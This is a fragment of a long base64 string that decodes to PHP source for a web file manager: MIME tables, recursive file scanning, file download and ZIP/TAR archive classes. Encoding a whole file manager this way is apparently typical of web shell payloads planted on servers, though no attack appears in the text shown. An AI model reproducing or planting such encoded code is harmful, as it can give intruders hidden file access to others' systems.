lcygpXG57XG4gICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAnYXBwbGljYXRpb25cL3htbCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwvamF2YXNjcmlwdCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwveC1qYXZhc2NyaXB0JyxcbiAgICAgICAgJ2ltYWdlXC9zdmcreG1sJyxcbiAgICAgICAgJ21lc3NhZ2VcL3JmYzgyMicsXG4gICAgICAgICdhcHBsaWNhdGlvblwvanNvbicsXG4gICAgKTtcbn1cblxuXC8qKlxuICogR2V0IGZpbGUgbmFtZXMgb2YgdGV4dCBmaWxlcyB3XC9vIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF90ZXh0X25hbWVzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICdsaWNlbnNlJyxcbiAgICAgICAgJ3JlYWRtZScsXG4gICAgICAgICdhdXRob3JzJyxcbiAgICAgICAgJ2NvbnRyaWJ1dG9ycycsXG4gICAgICAgICdjaGFuZ2Vsb2cnLFxuICAgICk7XG59XG5cblwvKipcbiAqIEdldCBvbmxpbmUgZG9jcyB2aWV3ZXIgc3VwcG9ydGVkIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9vbmxpbmVWaWV3ZXJfZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCdkb2MnLCAnZG9jeCcsICd4bHMnLCAneGxzeCcsICdwZGYnLCAncHB0JywgJ3BwdHgnLCAnYWknLCAncHNkJywgJ2R4ZicsICd4cHMnLCAncmFyJywgJ29kdCcsICdvZHMnKTtcbn1cblxuXC8qKlxuICogSXQgcmV0dXJucyB0aGUgbWltZSB0eXBlIG9mIGEgZmlsZSBiYXNlZCBvbiBpdHMgZXh0ZW5zaW9uLlxuICogQHBhcmFtIGV4dGVuc2lvbiBUaGUgZmlsZSBleHRlbnNpb24gb2YgdGhlIGZpbGUgeW91IHdhbnQgdG8gZ2V0IHRoZSBtaW1lIHR5cGUgZm9yLlxuICogQHJldHVybiBzdHJpbmd8c3RyaW5nW10gVGhlIG1pbWUgdHlwZSBvZiB0aGUgZmlsZS5cbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9maWxlX21pbWVzKCRleHRlbnNpb24pXG57XG4gICAgJGZpbGVUeXBlc1snc3dmJ10gPSAnYXBwbGljYXRpb25cL3gtc2hvY2t3YXZlLWZsYXNoJztcbiAgICAkZmlsZVR5cGVzWydwZGYnXSA9ICdhcHBsaWNhdGlvblwvcGRmJztcbiAgICAkZmlsZVR5cGVzWydleGUnXSA9ICdhcHBsaWNhdGlvblwvb2N0ZXQtc3RyZWFtJztcbiAgICAkZmlsZVR5cGVzWyd6aXAnXSA9ICdhcHBsaWNhdGlvblwvemlwJztcbiAgICAkZmlsZVR5cGVzWydkb2MnXSA9ICdhcHBsaWNhdGlvblwvbXN3b3JkJztcbiAgICAkZmlsZVR5cGVzWyd4bHMnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLWV4Y2VsJztcbiAgICAkZmlsZVR5cGVzWydwcHQnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLXBvd2VycG9pbnQnO1xuICAgICRmaWxlVHlwZXNbJ2dpZiddID0gJ2ltYWdlXC9naWYnO1xuICAgICRmaWxlVHlwZXNbJ3BuZyddID0gJ2ltYWdlXC9wbmcnO1xuICAgICRmaWxlVHlwZXNbJ2pwZWcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWydqcGcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWyd3ZWJwJ10gPSAnaW1hZ2VcL3dlYnAnO1xuICAgICRmaWxlVHlwZXNbJ2F2aWYnXSA9ICdpbWFnZVwvYXZpZic7XG4gICAgJGZpbGVUeXBlc1sncmFyJ10gPSAnYXBwbGljYXRpb25cL3Jhcic7XG5cbiAgICAkZmlsZVR5cGVzWydyYSddID0gJ2F1ZGlvXC94LXBuLXJlYWxhdWRpbyc7XG4gICAgJGZpbGVUeXBlc1sncmFtJ10gPSAnYXVkaW9cL3gtcG4tcmVhbGF1ZGlvJztcbiAgICAkZmlsZVR5cGVzWydvZ2cnXSA9ICdhdWRpb1wveC1wbi1yZWFsYXVkaW8nO1xuXG4gICAgJGZpbGVUeXBlc1snd2F2J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snd212J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXZpJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXNmJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snZGl2eCddID0gJ3ZpZGVvXC94LW1zdmlkZW8nO1xuXG4gICAgJGZpbGVUeXBlc1snbXAzJ10gPSAnYXVkaW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wNCddID0gJ3ZpZGVvXC9tcDQnO1xuICAgICRmaWxlVHlwZXNbJ21wZWcnXSA9ICd2aWRlb1wvbXBlZyc7XG4gICAgJGZpbGVUeXBlc1snbXBnJ10gPSAndmlkZW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wZSddID0gJ3ZpZGVvXC9tcGVnJztcbiAgICAkZmlsZVR5cGVzWydtb3YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydzd2YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWyczZ3AnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtNGEnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydhYWMnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtM3UnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcblxuICAgICRmaWxlVHlwZXNbJ3BocCddID0gWydhcHBsaWNhdGlvblwveC1waHAnXTtcbiAgICAkZmlsZVR5cGVzWydodG1sJ10gPSBbJ3RleHRcL2h0bWwnXTtcbiAgICAkZmlsZVR5cGVzWyd0eHQnXSA9IFsndGV4dFwvcGxhaW4nXTtcbiAgICBpZiAoZW1wdHkoJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSkpIHtcbiAgICAgICAgJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSA9IFsnYXBwbGljYXRpb25cL29jdGV0LXN0cmVhbSddO1xuICAgIH1cbiAgICByZXR1cm4gJGZpbGVUeXBlc1skZXh0ZW5zaW9uXTtcbn1cblxuXC8qKlxuICogVGhpcyBmdW5jdGlvbiBzY2FucyB0aGUgZmlsZXMgYW5kIGZvbGRlciByZWN1cnNpdmVseSwgYW5kIHJldHVybiBtYXRjaGluZyBmaWxlc1xuICogQHBhcmFtIHN0cmluZyAkZGlyXG4gKiBAcGFyYW0gc3RyaW5nICRmaWx0ZXJcbiAqIEByZXR1cm4gYXJyYXl8bnVsbFxuICpcL1xuZnVuY3Rpb24gc2NhbigkZGlyID0gJycsICRmaWx0ZXIgPSAnJylcbntcbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkZGlyO1xuICAgIGlmICgkcGF0aCkge1xuICAgICAgICAkaXRlID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRwYXRoKSk7XG4gICAgICAgICRyaWkgPSBuZXcgUmVnZXhJdGVyYXRvcigkaXRlLCBcIlwvKFwiIC4gJGZpbHRlciAuIFwiKVwvaVwiKTtcblxuICAgICAgICAkZmlsZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7XG4gICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gJGZpbGUtPmdldEZpbGVuYW1lKCk7XG4gICAgICAgICAgICAgICAgJGxvY2F0aW9uID0gc3RyX3JlcGxhY2UoRk1fUk9PVF9QQVRILCAnJywgJGZpbGUtPmdldFBhdGgoKSk7XG4gICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgXCJuYW1lXCIgPT4gJGZpbGVOYW1lLFxuICAgICAgICAgICAgICAgICAgICBcInR5cGVcIiA9PiBcImZpbGVcIixcbiAgICAgICAgICAgICAgICAgICAgXCJwYXRoXCIgPT4gJGxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICRmaWxlcztcbiAgICB9XG59XG5cblwvKipcbiAqIFBhcmFtZXRlcnM6IGRvd25sb2FkRmlsZShGaWxlIExvY2F0aW9uLCBGaWxlIE5hbWUsXG4gKiBtYXggc3BlZWQsIGlzIHN0cmVhbWluZ1xuICogSWYgc3RyZWFtaW5nIC0gdmlkZW9zIHdpbGwgc2hvdyBhcyB2aWRlb3MsIGltYWdlcyBhcyBpbWFnZXNcbiAqIGluc3RlYWQgb2YgZG93bmxvYWQgcHJvbXB0XG4gKiBodHRwczpcL1wvc3RhY2tvdmVyZmxvdy5jb21cL2FcLzEzODIxOTkyXC8xMTY0NjQyXG4gKlwvXG5mdW5jdGlvbiBmbV9kb3dubG9hZF9maWxlKCRmaWxlTG9jYXRpb24sICRmaWxlTmFtZSwgJGNodW5rU2l6ZSAgPSAxMDI0KVxue1xuICAgIGlmIChjb25uZWN0aW9uX3N0YXR1cygpICE9IDApXG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgICRleHRlbnNpb24gPSBwYXRoaW5mbygkZmlsZU5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7XG5cbiAgICAkY29udGVudFR5cGUgPSBmbV9nZXRfZmlsZV9taW1lcygkZXh0ZW5zaW9uKTtcblxuICAgIGlmIChpc19hcnJheSgkY29udGVudFR5cGUpKSB7XG4gICAgICAgICRjb250ZW50VHlwZSA9IGltcGxvZGUoJyAnLCAkY29udGVudFR5cGUpO1xuICAgIH1cblxuICAgICRzaXplID0gZmlsZXNpemUoJGZpbGVMb2NhdGlvbik7XG5cbiAgICBpZiAoJHNpemUgPT0gMCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnWmVybyBieXRlIGZpbGUhIEFib3J0aW5nIGRvd25sb2FkJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcblxuICAgICAgICByZXR1cm4gKGZhbHNlKTtcbiAgICB9XG5cbiAgICBAaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTtcbiAgICAkZnAgPSBmb3BlbihcIiRmaWxlTG9jYXRpb25cIiwgXCJyYlwiKTtcblxuICAgIGlmICgkZnAgPT09IGZhbHNlKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdDYW5ub3Qgb3BlbiBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgIH1cbiAgICBcbiAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTtcbiAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTtcbiAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCcpO1xuICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTtcbiAgICBoZWFkZXIoXCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnlcIik7XG4gICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiAkY29udGVudFR5cGVcIik7XG5cbiAgICAkY29udGVudERpc3Bvc2l0aW9uID0gJ2F0dGFjaG1lbnQnO1xuXG4gICAgaWYgKHN0cnN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sIFwiTVNJRVwiKSkge1xuICAgICAgICAkZmlsZU5hbWUgPSBwcmVnX3JlcGxhY2UoJ1wvXFwuXC8nLCAnJTJlJywgJGZpbGVOYW1lLCBzdWJzdHJfY291bnQoJGZpbGVOYW1lLCAnLicpIC0gMSk7XG4gICAgICAgIGhlYWRlcihcIkNvbnRlbnQtRGlzcG9zaXRpb246ICRjb250ZW50RGlzcG9zaXRpb247ZmlsZW5hbWU9XFxcIiRmaWxlTmFtZVxcXCJcIik7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cXFwiJGZpbGVOYW1lXFxcIlwiKTtcbiAgICB9XG5cbiAgICBoZWFkZXIoXCJBY2NlcHQtUmFuZ2VzOiBieXRlc1wiKTtcbiAgICAkcmFuZ2UgPSAwO1xuXG4gICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1JBTkdFJ10pKSB7XG4gICAgICAgIGxpc3QoJGEsICRyYW5nZSkgPSBleHBsb2RlKFwiPVwiLCAkX1NFUlZFUlsnSFRUUF9SQU5HRSddKTtcbiAgICAgICAgc3RyX3JlcGxhY2UoJHJhbmdlLCBcIi1cIiwgJHJhbmdlKTtcbiAgICAgICAgJHNpemUyID0gJHNpemUgLSAxO1xuICAgICAgICAkbmV3X2xlbmd0aCA9ICRzaXplIC0gJHJhbmdlO1xuICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1MZW5ndGg6ICRuZXdfbGVuZ3RoXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LVJhbmdlOiBieXRlcyAkcmFuZ2Ukc2l6ZTJcLyRzaXplXCIpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgICRzaXplMiA9ICRzaXplIC0gMTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1SYW5nZTogYnl0ZXMgMC0kc2l6ZTJcLyRzaXplXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LUxlbmd0aDogXCIgLiAkc2l6ZSk7XG4gICAgfVxuICAgICRmaWxlTG9jYXRpb24gPSByZWFscGF0aCgkZmlsZUxvY2F0aW9uKTtcbiAgICB3aGlsZSAob2JfZ2V0X2xldmVsKCkpIG9iX2VuZF9jbGVhbigpO1xuICAgIHJlYWRmaWxlKCRmaWxlTG9jYXRpb24pO1xuXG4gICAgZmNsb3NlKCRmcCk7XG5cbiAgICByZXR1cm4gKChjb25uZWN0aW9uX3N0YXR1cygpID09IDApIGFuZCAhY29ubmVjdGlvbl9hYm9ydGVkKCkpO1xufVxuXG5cLyoqXG4gKiBDbGFzcyB0byB3b3JrIHdpdGggemlwIGZpbGVzICh1c2luZyBaaXBBcmNoaXZlKVxuICpcL1xuY2xhc3MgRk1fWmlwcGVyXG57XG4gICAgcHJpdmF0ZSAkemlwO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT56aXAgPSBuZXcgWmlwQXJjaGl2ZSgpO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUsIFppcEFyY2hpdmU6OkNSRUFURSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKGlzX2FycmF5KCRmaWxlcykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRmID0gZm1fY2xlYW5fcGF0aCgkZik7XG4gICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRmlsZU9yRGlyKCRmKSkge1xuICAgICAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTtcbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogRXh0cmFjdCBhcmNoaXZlICRmaWxlbmFtZSB0byBmb2xkZXIgJHBhdGggKFJFTEFUSVZFIE9SIEFCU09MVVRFIFBBVEhTKVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aClcbiAgICB7XG4gICAgICAgICRyZXMgPSAkdGhpcy0+emlwLT5vcGVuKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCR0aGlzLT56aXAtPmV4dHJhY3RUbygkcGF0aCkpIHtcbiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+emlwLT5hZGRGaWxlKCRmaWxlbmFtZSk7XG4gICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGVuYW1lKSkge1xuICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5hZGREaXIoJGZpbGVuYW1lKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRGlyKCRwYXRoKVxuICAgIHtcbiAgICAgICAgaWYgKCEkdGhpcy0+emlwLT5hZGRFbXB0eURpcigkcGF0aCkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpO1xuICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkge1xuICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykge1xuICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cbn1cblxuXC8qKlxuICogQ2xhc3MgdG8gd29yayB3aXRoIFRhciBmaWxlcyAodXNpbmcgUGhhckRhdGEpXG4gKlwvXG5jbGFzcyBGTV9aaXBwZXJfVGFyXG57XG4gICAgcHJpdmF0ZSAkdGFyO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT50YXIgPSBudWxsO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkdGhpcy0+dGFyID0gbmV3IFBoYXJEYXRhKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmIChpc19hcnJheSgkZmlsZXMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHtcbiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUylcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAgICAgKiBAcmV0dXJuIGJvb2xcbiAgICAgKlwvXG4gICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnRhci0+b3BlbigkZmlsZW5hbWUpO1xuICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdGhpcy0+dGFyLT5leHRyYWN0VG8oJHBhdGgpKSB7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkZmlsZW5hbWUpO1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBBZGQgZm9sZGVyIHJlY3Vyc2l2ZWx5XG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aClcbiAgICB7XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTYXZlIENvbmZpZ3VyYXRpb25cbiAqXC9cbmNsYXNzIEZNX0NvbmZpZ1xue1xuICAgIHZhciAkZGF0YTtcblxuICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgIGdsb2JhbCAkcm9vdF9wYXRoLCAkcm9vdF91cmwsICRDT05GSUc7XG4gICAgICAgICRmbV91cmwgPSAkcm9vdF91cmwgLiAkX1NFUlZFUltcIlBIUF9TRUxGXCJdO1xuICAgICAgICAkdGhpcy0+ZGF0YSA9IGFycmF5KFxu